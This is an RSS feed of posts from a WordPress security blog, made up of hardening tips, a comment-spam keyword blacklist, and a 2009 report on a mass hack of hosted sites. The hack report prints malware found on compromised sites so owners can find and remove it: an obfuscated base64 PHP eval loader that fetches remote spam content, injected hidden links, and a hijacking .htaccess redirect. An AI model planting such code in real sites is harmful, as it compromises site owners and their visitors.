<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Digging into WordPress &#187; Security</title>
	<atom:link href="http://digwp.com/category/security/feed/" rel="self" type="application/rss+xml" />
	<link>http://digwp.com</link>
	<description>Learn how to take your WordPress skills to the next level.</description>
	<lastBuildDate>Thu, 18 Mar 2010 12:24:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>WordPress Defender: 30 Ways to Secure Your&#160;Website</title>
		<link>http://digwp.com/2010/02/wordpress-defender/</link>
		<comments>http://digwp.com/2010/02/wordpress-defender/#comments</comments>
		<pubDate>Sun, 28 Feb 2010 18:20:35 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Links]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1439</guid>
		<description><![CDATA[Looking for a good book on WordPress security? If so, we&#8217;ve got great news! John Hoff&#8217;s new security e-book WordPress Defender provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually any WordPress user can [...]]]></description>
			<content:encoded><![CDATA[<p>Looking for a good book on WordPress security? If so, we&rsquo;ve got great news! <a href="http://wpbloghost.com/" title="WP Blog Host">John Hoff</a>&rsquo;s new security e-book <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a> provides 30 practical ways to secure your website from the evil forces of spam, bad bots, and malicious hackers. The book is packed with practical, common-sense security techniques that virtually <em>any</em> WordPress user can use to protect their site from malicious threats. </p>
<p>The book begins with some general information and then immediately gets into explaining everything you need to know. Throughout the book, John covers everything from backing up and upgrading to blocking bad queries and hiding sensitive information. Along the way, you will learn many tricks and techniques for securing your WordPress-powered site, including htaccess code, WordPress plugins, and much more.</p>
<p><span id="more-1439"></span></p>
<p>Here are some of the highlights of WordPress Defender:</p>
<ul>
<li>Essential best practices</li>
<li>Kick-ass security plugins</li>
<li>Creating tripwires with htaccess</li>
<li>How to hide sensitive information</li>
<li>How to setup and connect with <acronym title="Secure Sockets Layer">SSL</acronym></li>
</ul>
<p>..and of course much more. WordPress Defender is WordPress security for the masses. Seriously, I think that just about everyone using WordPress will benefit from this book. Plus, John&rsquo;s easy-going, laid-back writing style makes you feel right at home as he walks you through the many different ways of protecting your site. If you use WordPress and need to know more about how to protect your site against villains, you need to get <a href="http://securemyblog.com/" title="WordPress Defender">WordPress Defender</a>.</p>
<p>Special 50% discount on the e-book today through March 3rd!</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/wordpress-defender/">Permalink</a> | <a href="http://digwp.com/2010/02/wordpress-defender/#comments">One comment</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2010/02/wordpress-defender/&title=WordPress Defender: 30 Ways to Secure Your&nbsp;Website">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/wordpress-defender/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Stop Spammers and Other Scumbags with a Custom&#160;Blacklist</title>
		<link>http://digwp.com/2010/02/stop-spammers-custom-blacklist/</link>
		<comments>http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments</comments>
		<pubDate>Mon, 15 Feb 2010 09:15:07 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[blacklist]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=1394</guid>
		<description><![CDATA[I usually reserve most of my blacklisting content for Perishable Press, but after posting about using WordPress&#8217; built-in tools to stop comment spam, several DiW readers have asked about a good custom blacklist that may be used for the &#8220;Comment Moderation&#8221; and/or &#8220;Comment Blacklist&#8221; features in the WordPress &#8220;Discussion Settings&#8221; screen. Over the years, I [...]]]></description>
			<content:encoded><![CDATA[<p>I usually reserve most of my <a href="http://perishablepress.com/press/tag/blacklist/" title="Blacklist Archive at Perishable Press">blacklisting content</a> for <a href="http://perishablepress.com/" title="Perishable Press: Digital Design and Dialogue">Perishable Press</a>, but after posting about <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">using WordPress&rsquo; built-in tools to stop comment spam</a>, several <acronym title="Digging into WordPress">DiW</acronym> readers have asked about a good <strong>custom blacklist</strong> that may be used for the &ldquo;Comment Moderation&rdquo; and/or &ldquo;Comment Blacklist&rdquo; features in the WordPress &ldquo;Discussion Settings&rdquo; screen. Over the years, I have <a href="http://perishablepress.com/press/2007/10/08/wordpress-spam-battle-3-seconds-that-will-save-you-hours-of-time/" title="WordPress Spam Battle: 3 Seconds that will Save You Hours of Time">built up</a> an extensive custom blacklist of terms that has proven quite effective at keeping spam and other garbage out of the comments section, even <a href="http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/" title="You Don’t Need Any Plugins to Stop Comment Spam">without using any anti-spam plugins</a> such as Akismet. It&rsquo;s strictly plug-n-play, and should help protect your site (and reputation) against all sorts of malicious nonsense. So without further ado.. </p>
<p><small>(Caution: the blacklist contains several instances of profanity in order to keep vile language out of your comments.)</small></p>
<p><span id="more-1394"></span></p>
<h3>Custom WordPress Comment Moderation Blacklist</h3>
<p>The idea is simple: copy and paste this custom blacklist into the Comment Moderation field in your WordPress Admin area, which will look something like this:</p>
<p><img src="http://digwp.com/wp-content/blog-images/custom-blacklist.gif" alt="[ The 'Comment Moderation' field in the WordPress 'Discussion Settings' Area ]" /><br /><small>The &lsquo;Comment Moderation&rsquo; field in the WordPress &lsquo;Discussion Settings&rsquo; Area</small></p>
<p>Here is the list, in all of its offensive pharmaceutical, gambling, sex-industry glory (see notes afterward for more information on usage and functionality):</p>
<pre><code>д
и
ж
Ч
Б
. ,
? ,
[url=
[/url]
thx
sex
byob
nude
loan
debt
poze
bdsm
soma
visa
hotel
paxil
anime
naked
poker
coolhu
cialis
incest
casino
dating
payday
rental
ambien
holdem
cialis
adipex
booker
youtube
myspace
advicer
flowers
finance
freenet
-online
shemale
meridia
cumshot
trading
adderall
gambling
roulette
top-site
mortgage
pharmacy
dutyfree
ownsthis
duty-free
insurance
ringtones
insurance
blackjack
hair-loss
bllogspot
baccarrat
thorcarlson
jrcreations
credit card
macinstruct
hydrocodone
leading-site
slot-machine
carisoprodol
ottawavalleyag
cyclobenzaprine
discreetordering
aceteminophen
augmentation
enhancement
phentermine
doxycycline
citalopram
cephalaxin
vicoprofen
lorazepam
oxycontin
oxycodone
percocet
propecia
tramadol
propecia
percocet
cymbalta
lunestra
fioricet
lesbian
lexapro
valtrex
titties
xenical
meridia
levitra
vicodin
ephedra
lipitor
breast
cyclen
viagra
valium
hqtube
ultram
clomid
cyclen
vioxx
zolus
pussy
porno
xanax
bitch
penis
pills
male
porn
dick
cock
tits
fuck
shit
gay
ass
gdf
gds</code></pre>
<p>As mentioned, to use this list, just copy/paste into your Comment Moderation field and you&rsquo;re done. Along the way, you may find that additional terms are needed, or that certain terms need removed. Feel free to tweak according to the specific needs of your site. It&rsquo;s all good&nbsp;:)</p>
<p>A couple of notes about this blacklist: </p>
<ul>
<li>The first five or so characters are effective at blocking 99% of nonsensical Russian spam.</li>
<li>The period/comma entries block a recent rash of spam that included these particular strings.</li>
<li>Most of the terms are highly specific to spam comments and should keep false positives at a minimum.</li>
<li>Even so, it is recommended that this custom blacklist be used as a &ldquo;Comment Moderation&rdquo; list and not as a &ldquo;Comment Blacklist&rdquo; in order to retain your ability to screen for false positives.</li>
<li>Additional terms are easily added by appending the list with the character string on its own line.</li>
<li>It would be great to build this blacklist up a little further. If you have your own distinct collection of terms, let me know and I will add them to the list.</li>
</ul>
<p>Any questions/comments/concerns welcome in the comments area.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2010 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/">Permalink</a> | <a href="http://digwp.com/2010/02/stop-spammers-custom-blacklist/#comments">14 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2010/02/stop-spammers-custom-blacklist/&title=Stop Spammers and Other Scumbags with a Custom&nbsp;Blacklist">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/blacklist/" rel="tag">blacklist</a>, <a href="http://digwp.com/tag/comments/" rel="tag">comments</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2010/02/stop-spammers-custom-blacklist/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>Media Temple, WordPress, Mass&#160;Hacking</title>
		<link>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/</link>
		<comments>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments</comments>
		<pubDate>Thu, 26 Nov 2009 14:47:12 +0000</pubDate>
		<dc:creator>Chris Coyier</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=983</guid>
		<description><![CDATA[Update: Media Temple is saying that:

They aren&#8217;t 100% sure the cause, but yes, it is their fault.
About 10% of all (gs) users were affected.
It&#8217;s not WordPress specific, it&#8217;s PHP specific.
Definitely change your passwords, definitely don&#8217;t change it back to the original password.

A number of people (Michael Torbert, Kyle Brady, Jeffrey Barke, Adrian Hanft) are reporting [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Update:</strong> Media Temple <a href="http://weblog.mediatemple.net/weblog/2009/11/26/1026-more-faqs/">is saying</a> that:</p>
<ul>
<li>They aren&#8217;t 100% sure the cause, but yes, it is their fault.</li>
<li>About 10% of all (gs) users were affected.</li>
<li>It&#8217;s not WordPress specific, it&#8217;s PHP specific.</li>
<li>Definitely change your passwords, definitely don&#8217;t change it back to the original password.</li>
</ul>
<p>A number of people (<a href="http://michaeltorbert.com/blog/media-temple-hacked/">Michael Torbert</a>, <a href="http://www.inquisitr.com/47860/the-epic-wordpress-mediatemple-failure/">Kyle Brady</a>, <a href="http://jeffreybarke.net/2009/11/media-templewordpress-hacked/">Jeffrey Barke</a>, <a href="http://adrian3.com/2009/11/mediatemplewordpress-hack/">Adrian Hanft</a>) are reporting that their Media Temple sites have been hacked. Digging Into WordPress is on a Media Temple (gs) and we got this email from them late last night:</p>
<blockquote><p>Dear Valued Customer,</p>
<p>This is an automated notice informing you that our system has reset your Server Administrator FTP/SSH password due to suspicious activity observed on your (gs) Grid-Service. Our systems have taken measures to protect your service from any possible future exploits.</p></blockquote>
<p><span id="more-983"></span></p>
<p>When trying to FTP into the site this morning, the access attempt was denied (wrong password), and then blocked. I had to log into the admin, unblock the IP, and reset the password to get in. <strong>In poking around a bit, it doesn&#8217;t look like Digging Into WordPress was affected.</strong> Thank god&#8230;</p>
<p>Some of the facts I&#8217;m seeing around:</p>
<ul>
<li>The attack is not specific to WordPress, although also affects WordPress (Some folks saying their Drupal sites have been hit, or sites just using plain old PHP)</li>
<li>It may be a result of passwords being stored/sent in plain text</li>
<li>Media Temple is mostly quiet on the issue but has been telling folks there has been a huge upsurge in attempted FTP connections to sites. </li>
<li>Some folks are blaming Media Temple, others blaming WordPress</li>
</ul>
<h3>Files to check on your own sites</h3>
<h4>index.php</h4>
<pre><code>&lt;!--5edfgh345--&gt;&lt;?php eval(base64_decode("JGw9Imh0dHA6Ly90b3VycmV2aWV3cy5hc2lhL2xpbmtzMi9saW5rLnBocCI7IGlmIChleHRlbnNpb25fbG9hZGVkKCJjdXJsIikpeyANCiRjaCA9IGN1cmxfaW5pdCgpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMzApOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICRsKTsgJHIgPSBjdXJsX2V4ZWMoJGNoKTsgY3VybF9jbG9zZSgkY2gpO30NCmVsc2V7JHI9aW1wbG9kZSgiIixmaWxlKCRsKSk7fSBwcmludCBAJHI7DQo=")); ?&gt;</code></pre>
<p>Which evaluates to this:</p>
<pre><code>$l="http://tourreviews.asia/links2/link.php"; if (extension_loaded("curl")){
$ch = curl_init(); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $l); $r = curl_exec($ch); curl_close($ch);}
else{$r=implode("",file($l));} print @$r;</code></pre>
<p>Links are being inserted into the page before the &lt;/html&gt; tag:</p>
<pre><code>&lt;!– [6eb602d48b8b7f42aba0ce0c31ebe3f5 --&gt;&lt;!-- 9190819521 --&gt;&lt;noscript&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://rg8rhg34h34h.cc/c"&gt;.&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/noscript&gt;&lt;!-- 6eb602d48b8b7f42aba0ce0c31ebe3f5] –&gt;</code></pre>
<h4>.htaccess</h4>
<pre><code>RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&amp;parameter=sf [R,L]</code></pre>
<h4>.nfs* (unnamed file in root of server)</h4>
<h3>Fixing It</h3>
<p>We weren&#8217;t victims of this attack so far, so please refer to the people linked above for more first-hand advice. However, changing passwords across the board, especially FTP passwords is a must. Also remove all the malicious code shown above from the files. If possible, a fresh WordPress install would probably be a good idea (backup your database and theme first!)</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/">Permalink</a> | <a href="http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/#comments">27 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/&title=Media Temple, WordPress, Mass&nbsp;Hacking">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/hacking/" rel="tag">hacking</a>, <a href="http://digwp.com/tag/links/" rel="tag">Links</a>, <a href="http://digwp.com/tag/spam/" rel="tag">spam</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/media-temple-wordpress-mass-hacking/feed/</wfw:commentRss>
		<slash:comments>27</slash:comments>
		</item>
		<item>
		<title>How to Secure Your New WordPress&#160;Installation</title>
		<link>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/</link>
		<comments>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/#comments</comments>
		<pubDate>Mon, 09 Nov 2009 19:07:30 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[database]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=903</guid>
		<description><![CDATA[One of the best ways to ensure strong security for your WordPress-powered site is to secure its foundations during the installation process. Of course these techniques can be implemented at any point during the life of your site, but stetting them before the game starts prevents headaches and saves time. We&#8217;ll start with the WordPress [...]]]></description>
			<content:encoded><![CDATA[<p>One of the best ways to ensure strong security for your WordPress-powered site is to secure its foundations during the installation process. Of course these techniques can be implemented at any point during the life of your site, but stetting them <strong>before the game starts</strong> prevents headaches and saves time. We&rsquo;ll start with the WordPress database..</p>
<h3>Step 1 &#8211; Setting up a secure database</h3>
<p>Because the database is associated with virtually everything you do on your site, it is best to perform any modifications before configuring your options, installing plugins, and adding options. During the installation process, there are some effective ways of increasing the overall security of your WordPress site.</p>
<p><span id="more-903"></span></p>
<p>One of the first things that you can do to bolster security is to setup a proper database, user, and password. First, create the table that will be used for your WordPress installation:</p>
<pre><code>CREATE DATABASE `wordpress`;</code></pre>
<p>Now we need a user to go with that database. The key here is to create a user with only the required permissions. Enter the following SQL query to create a user that will have access only to the <code>wordpress</code> from the local server:</p>
<pre><code>GRANT SELECT, INSERT, UPDATE, DELETE, CREATE, DROP ON wordpress.* TO 'wpuser'@'localhost'
IDENTIFIED BY 'password';</code></pre>
<p>By requiring that the user access the database from the local server only, we mitigate the possibility of remote database attacks. Further, by granting the user access to only the <code>wordpress</code> database, we ensure that other databases will remain safe should an attacker gain access.</p>
<p>Once the database and user have been setup, install WordPress as normal and continue with the next step.</p>
<h3>Step 2 &#8211; Setting up a secure configuration file</h3>
<p>There are two things we want to do with the <code>wp-config.php</code> file: implement Authentication Unique Keys and change the default database prefix. Let&rsquo;s do it..</p>
<h4>Implement Authentication Unique Keys</h4>
<p>Directly after your MySQL database credentials in the <code>wp-config.php</code> file, you have the option of specifying a set of Authentication Unique Keys. These keys improve WordPress&rsquo; authentication system, providing strong security to your site. It is highly recommended that you take advantage of this feature.</p>
<pre><code>/**#@+
 * Authentication Unique Keys.
 *
 * Change these to different unique phrases!
 * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/ WordPress.org secret-key service}
 * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
 *
 * @since 2.6.0
 */
define('AUTH_KEY', 'put your unique phrase here');
define('SECURE_AUTH_KEY', 'put your unique phrase here');
define('LOGGED_IN_KEY', 'put your unique phrase here');
define('NONCE_KEY', 'put your unique phrase here');
/**#@-*/</code></pre>
<p>To do so, visit the official <a href="https://api.wordpress.org/secret-key/1.1/" title="WordPress.org secret-key service">secret-key generation service</a> and paste the results into your <code>config.php</code> file (replace the four lines beginning with &ldquo;<code>define</code>&rdquo;).</p>
<p>While you are you setting up the WordPress configuration file, you also may want to go ahead and <a href="http://digwp.com/2009/07/optimize-wordpress-performance-with-the-wp-config-php-file/" title="Optimize WordPress Performance with the wp-config.php File">optimize performance</a> and implement some other choice <a href="http://digwp.com/2009/06/wordpress-configuration-tricks/" title="WordPress Configuration Tricks">configuration tricks</a>.</p>
<h4>Change the default database table prefix</h4>
<p>While in your <code>wp-config.php</code> file, take a few moments to change your default database table prefix. By default, it&rsquo;s &ldquo;<code>wp_</code>&rdquo;, but this is a well-known fact of which attackers and automated scripts take full advantage. By changing the table prefix to something unknown/random, you are using security through obscurity to help mitigate <acronym title="Structured Query Language">SQL</acronym>-injection threats.</p>
<pre><code>/**
 * WordPress Database Table prefix.
 *
 * You can have multiple installations in one database if you give each a unique
 * prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';</code></pre>
<p>In your <code>wp-config.php</code> file, locate the above lines and change the table prefix to something random or difficult to guess. I like to include the letters &ldquo;<code>wp</code>&rdquo; within the new prefix to help me identify tables specific to WordPress. For example, I might change it to something like, &ldquo;<code>wp_i337</code>&rdquo;.</p>
<h3>Step 3 &#8211; Setting up a secure administration</h3>
<p>Once you have finished with your database and configuration file, it&rsquo;s time to setup a secure WordPress Admin area. We can do this by changing the default Admin username and protecting the <code>wp-admin</code> directory.</p>
<h4>changing the default Admin username</h4>
<p>By default, all WordPress installations have a default Admin username of, creatively enough, &ldquo;admin&rdquo;. As with the default database prefix, this fact is well-known to attackers, who target the admin account with password brute-force attacks. Thus, changing the username of your Admin account will help mitigate this potential vulnerability. To do so, execute the following <acronym title="Structured Query Language">SQL</acronym> query on your WordPress database via phpMyAdmin:</p>
<pre><code>UPDATE wp_users SET user_login = 'admin', user_login = 'digwp';</code></pre>
<p>Your default Admin username is now changed to whatever you specified in the query. In this example, your new username will be &ldquo;digwp&rdquo;, so you will probably want to change it to something that is more difficult to guess.</p>
<p>Additionally, make sure that the password for the Admin account is as strong as possible. Use a random mix of uppercase and lowercase letters, and throw in a few underscores and numbers for good measure.<br />
 </p>
<h4>Protecting the wp-admin directory</h4>
<p>All of the administrative files for your WordPress site are contained in the <code>wp-admin</code> directory. By protecting this directory against unauthorized access, we greatly strengthen the security of our site. Depending on your particular needs, there are at least two ways to go about doing this. Let&rsquo;s look at each of them.</p>
<p><strong>Allow open access only to specific addresses</strong></p>
<p>This method uses a few choice <acronym title="Hypertext Access">HTAccess</acronym> directives placed in your site&rsquo;s root <code>.</code><code>htaccess</code> file:</p>
<pre><code># SECURE WP-ADMIN
&lt;FilesMatch "*.*"&gt;
 Order Deny,Allow
 Deny from all
 Allow from 123.456.789
&lt;/FilesMatch&gt;</code></pre>
<p>Once in place, this code will deny access to all visits from any <acronym title="Internet Protocol">IP</acronym> address that is not listed. Simply edit the &ldquo;<code>Allow from</code>&rdquo; line with your actual address, and create additional lines for multiple <acronym title="Internet Protocol">IP</acronym>s. You can then check that it&rsquo;s working by visiting your Admin area via proxy service. This is an effective way of protecting your <code>wp-admin</code> directory, but you may prefer using a password-based method instead..</p>
<p><strong>Password-protect</strong></p>
<p>Another option for securing your Admin area involves implementing secondary password protection via basic <acronym title="Hypertext Transfer Protocol">HTTP</acronym> authentication. This is an excellent way to lock things down while still enabling access by anyone with the password from anywhere on the Web. To set it up, we need to create a text file with your desired username/password, and then require the username and password via <code>.</code><code>htaccess</code> file.</p>
<p>For the username/password text file, use a <a href="http://www.4webhelp.net/us/password.php" title="4WebHelp's online .htpasswd encryption tool">password-generation service</a> and paste the results into a file named &ldquo;<code>.</code><code>htpasswd</code>&rdquo; (without the quotes!) and place it in a secure location on your server, preferably above your &#8220;public_html&#8221; or root-web directory.</p>
<p>Once the password file is in place, create an <code>.</code><code>htaccess</code> file for your <code>wp-admin</code> directory and add the following code:</p>
<pre><code># SECURE LOGIN PAGE
&lt;IfModule mod_auth.c&gt;
 AuthUserFile /full/path/.htpasswd
 AuthType Basic
 AuthName "Password Required!"
 Require username
&lt;/IfModule&gt;</code></pre>
<p>After editing the username and full server path to your password file, you&rsquo;re good to go. Make sure to test that everything is working before cracking a beer.</p>
<h4>Important note about protecting wp-admin</h4>
<p>As you implement this method, keep in mind that the <code>wp-admin</code> directory is used by a number of plugins, scripts, and even users. For example, if you allow open registration to your visitors, they will be unable to access the registration pages if your admin directory is blocked. Another good example is the <a href="http://wordpress.org/extend/plugins/subscribe-to-comments/">Subscribe to Comments</a> plugin, which provides an admin page through which users may unsubscribe to comments. This ain&rsquo;t gonna work if they can&rsquo;t access the admin area.</p>
<h3>Just the beginning..</h3>
<p>Of course, when it comes to the security of your WordPress site, these techniques are merely the beginning. As you continue in your WordPress travels, you will discover many, many more ways to increase the security of your site. By implementing the methods presented in this article during the setup process, you will be strengthening the security of your site&rsquo;s foundation, providing yourself a solid platform on which to build.</p>
<p style="border:1px solid #ccc; background: #eee; line-height: 20px; padding: 5px 10px; margin-top: 10px;">Like the article? <a href="http://digwp.com/book"><strong>Get the book!</strong></a></p>
<hr />
<p><small>© 2009 <a href="http://digwp.com">Digging into WordPress</a> | <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/">Permalink</a> | <a href="http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/#comments">32 comments</a> | Add to
<a href="http://del.icio.us/post?url=http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/&title=How to Secure Your New WordPress&nbsp;Installation">Delicious</a><br />
Categorized: <a href="http://digwp.com/category/security/" title="View all posts in Security" rel="category tag">Security</a> | Tagged: <a href="http://digwp.com/tag/database/" rel="tag">database</a>, <a href="http://digwp.com/tag/security/" rel="tag">Security</a></small></p>]]></content:encoded>
			<wfw:commentRss>http://digwp.com/2009/11/how-to-secure-your-new-wordpress-installation/feed/</wfw:commentRss>
		<slash:comments>32</slash:comments>
		</item>
		<item>
		<title>You Don&#8217;t Need Any Plugins to Stop Comment&#160;Spam</title>
		<link>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/</link>
		<comments>http://digwp.com/2009/11/dont-need-plugins-to-stop-comment-spam/#comments</comments>
		<pubDate>Mon, 02 Nov 2009 04:18:58 +0000</pubDate>
		<dc:creator>Jeff Starr</dc:creator>
				<category><![CDATA[Plugins]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://digwp.com/?p=858</guid>
		<description><![CDATA[I think one of the biggest WordPress myths is that you need a bunch of plugins to control comment spam. Pretty much all of the posts out there on preventing WordPress comment spam are telling you to install some list of &#8220;must-have&#8221; anti-spam plugins. Some authors insist that you need only a few &#8220;choice&#8221; plugins, [...]]]></description>
			<content:encoded><![CDATA[<p>I think one of the biggest WordPress myths is that you need a bunch of plugins to control comment spam. Pretty much all of the posts out there on preventing WordPress comment spam are telling you to install some list of &ldquo;must-have&rdquo; anti-spam plugins. Some authors insist that you need only a <em>few</em> &ldquo;choice&rdquo; plugins, while others advise you to load up on <em>everything</em> you can get your hands on. Such advice is all well-intentioned, I&rsquo;m sure, but it&rsquo;s all based on the assumption that plugins are actually <em>necessary</em> to control comment spam. <strong>They&rsquo;re not</strong>. WordPress is well-equipped to handle the job all by itself. Plugins may provide <em>additional</em> anti-spam functionality, but they are by no means <em>essential</em> to running a spam-free site.</p>
<p><span id="more-858"></span></p>
<h3>Not even Akismet..</h3>
<p>&ldquo;Sure,&rdquo; you are thinking, &ldquo;you don&rsquo;t need any plugins <em>except</em> for Akismet.&rdquo; I mean, you definitely need <em>that</em> plugin, right? After all, it&rsquo;s <em>included</em> with WordPress, so it&rsquo;s <em>got</em> to be important. <em>Umm</em>, not so much. Yes, there are certain blogs that would probably be wise to take advantage of the additional spam-protection that Akismet might provide, but for 99% of the sites out there, it really isn&rsquo;t necessary.</p>
<h3>WordPress is <strong>strong</strong> enough..</h3>
<p>I think one of the most <em>underrated</em> strengths of WordPress is its built-in anti-spam functionality. With an ounce of knowledge and a pound of forethought, you can configure your WordPress Discussion settings to act as a powerful and effective defense against the evil forces of spam. No plugins required! Let&rsquo;s look at WordPress&rsquo; anti-spam tools and see why they&rsquo;re all you need for a spam-free site..</p>
<dl>
<dt>Default article settings</dt>
<dd>First up, consider your default article settings. If comments <em>aren&rsquo;t</em> enabled, of course you know that you don&rsquo;t need Akismet or any other anti-spam plugin for that matter. If comments <em>are</em> enabled, you can cut out a significant portion of spam by simply disallowing pingbacks and trackbacks. By clicking a single checkbox, all of that crap that comes rolling in as trackback spam will stop. That&rsquo;s a huge step right there, and it will eliminate every plugin that has anything to do with displaying or controlling ping/trackbacks.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-08.gif" alt="[ WordPress Default Comment Settings ]" /></dd>
<dt>Comment author must fill out name and e-mail</dt>
<dd>Another smart move, although I think most sites do this one already. By requiring your commentators to at least fill out these two fields (even if it is just dummy data most of the time), you brush off all of those lazy spammers who are picking up the easy ground fruit. Most <em>legitimate</em> commentators don&rsquo;t mind filling in this info because they usually have something they want to say. Lazy spammers, not so much.</dd>
<dt>Users must be registered and logged in to comment</dt>
<dd>If possible given the specific goals of your site, requiring users to log in before commenting is an extremely effective way of preventing comment spam. Although requiring registration will stop a lot of <em>legit</em> comments as well, it is a powerful deterrent to lazy spammers and completely stops automated scripts. Sure, you may still get some trolls stinking up the place, but you would be getting those anyway. Plus, if they&rsquo;re registered, it makes it easier to deal with them.</dd>
<dd><img src="http://digwp.com/wp-content/blog-images/discussion-settings-07.gif" alt="[ WordPress Comment User Settings ]" /></dd>
<dt>Automatically close comments on articles older than XX days</dt>
<dd>This is my favorite WordPress anti-spam feature. For a long time, we needed a plugin to get this done, but now that it is built into WordPress, <em>everyone</em> should be using it. Here at <a href="http://digwp.com/" title="DiW!">Digging into WordPress</a>, we close comments on old posts after 90 days, which seems to be just about the right amount of time. Anything longer than that, and your posts begin to get targeted by spammers and automated spam scripts. Especially if your posts tend to do well and build up a lot of page rank, they will be prime targets for spam as time rolls on.</dd>
<dt>Break comments into pages with XX comments per page</dt>
<dd>This one&rsquo;s not as obvious, but it is also a great way to reduce the incentive to spam your site. Spammers target <em>strong</em> pages for their junk, so by breaking your comments into pages of, say, 20 comments each, you get the best comments on the first page (the same page as the article), and then the typically declining-quality comments on subsequent non-ranking pages. Just make sure you are using meta canonical tags to keep the juice where it should be.</dd>
